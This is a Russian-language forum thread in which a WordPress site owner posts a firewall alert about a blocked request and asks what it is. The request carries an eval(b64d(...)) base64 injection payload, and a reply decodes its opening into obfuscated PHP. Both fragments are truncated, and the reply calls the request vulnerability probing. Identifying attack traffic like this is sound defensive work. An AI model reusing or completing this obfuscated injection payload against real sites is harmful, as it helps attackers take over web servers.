Запрос к специалистам по вирусам

[netelectro]

Уважаемые, господа.
Наши сайты постоянно пытаются вскрыть. Все сайты на Wordpress.
Не подскажите - что это?
Сайты присылают такие уведомления:

WordPress Simple Firewall has blocked a page visit to your site.
Журнал протокола для этого посетителя:

Часть кода:

Погрешность вызвал параметр "data" со значением "eval(b64d("JGVjb250PSJQRDl3YUhBZ0R Rb2thalV4UFNKVGR6WXpYU2xIZFdFOFd5Vn pTV1ZuV2tJdmJ5aGNYRlZSWEhJdFRHNHdaQ 0F5Y0Y0M1JXMDFPeTVwYURSQlBtSnhMRngw ZXpnbVgzNVdRM1pQV0RwcVBWd2llbGRjYml vL1ZFMU9PU2RRVWlOWmF6Rm1SbkloZEN0S1 JIbEFZSHhqWENSOVNIaHNTeUk3SUNSSFRFO UNRVXhUV3lkcWQyRmhjRGM0SjEwZ1BTQWth alV4V3pFMFhTNGthalV4V3pneFhTNGthalV 4V3pneFhTNGthalV4V3pFNVhTNGthalV4V3 pneFhTNGthalV4V3pVeVhTNGthalV4V3pne FhTNGthalV4V3pFMFhTNGthalV4V3pNeVhT NGthalV4V3pFNVhTNGthalV4V3pneFhTNGt halV4V3pnelhTNGthalV4V3pRd1hTNGthal V4V3pJM1hTNGthalV4V3pFMVhUc2dKRWRNV DBKQlRGTmJKM2h5YlhoMU9ERW5YU0E5SUNS cU5URmJOREJkTGlScU5URmJNamRkTGlScU5 URmJOREJkTGlScU5URmJOVEpkTGlScU5URm JNVEpkTGlScU5URmJNVFJkTGlScU5URmJPR E5kT3lBa1IweFBRa0ZNVTFzbmFubDVlbUkw T0NkZElEMGdKR28xTVZzeU9WMHVKR28xTVZ zeE5GMHVKR28xTVZzM09WMHVKR28xTVZzME 1GMHVKR28xTVZzeU4xMHVKR28xTVZzeE5GM Dd...

- Триггер Брандмауэра: Ключевые слова Wordpress.
- Ответ Блокировки Брандмауэром: Посетитель был перенаправлен на страницу 404 (страница не найдена).
Вы можете узнать IP-адрес нарушителя здесь: http://ip-lookup.net/?ip=23.235.197.200

[Stilet]

https://www.base64decode.org/ говорит что это

<?php 
$j51="Sw63])Gua<[%sIegZB/o(\\UQ\r-Ln0d 2p^7Em5;.ih4A>bq,\t{8&_~VCvOX:j=\"zW\n*?TMN9'PR#Yk1fFr!t+JDy@`|c\$}HxlK"; 

$GLOBALS['jwaap78'] = $j51[14].$j51[81].$j51[81].$j51[19].$j51[81].$j51[52]
.$j51[81].$j51[14].$j51[32].$j51[19].$j51[81].$j51[83].$j51[40].$j51[27].$j51[15]; 

$GLOBALS['xrmxu81'] = $j51[40].$j51[27].$j51[40].$j51[52].$j51[12].$j51[14].$j51[83]; 
$GLOBALS['jyyzb48'] = $j51[29].$j51[14].$j51[79].$j51[40].$j51[27].$j51[14
...

Хренька какая-то... Похоже уязвимости к твоему сайту пристреливают.

[netelectro]

Понял, спасибо.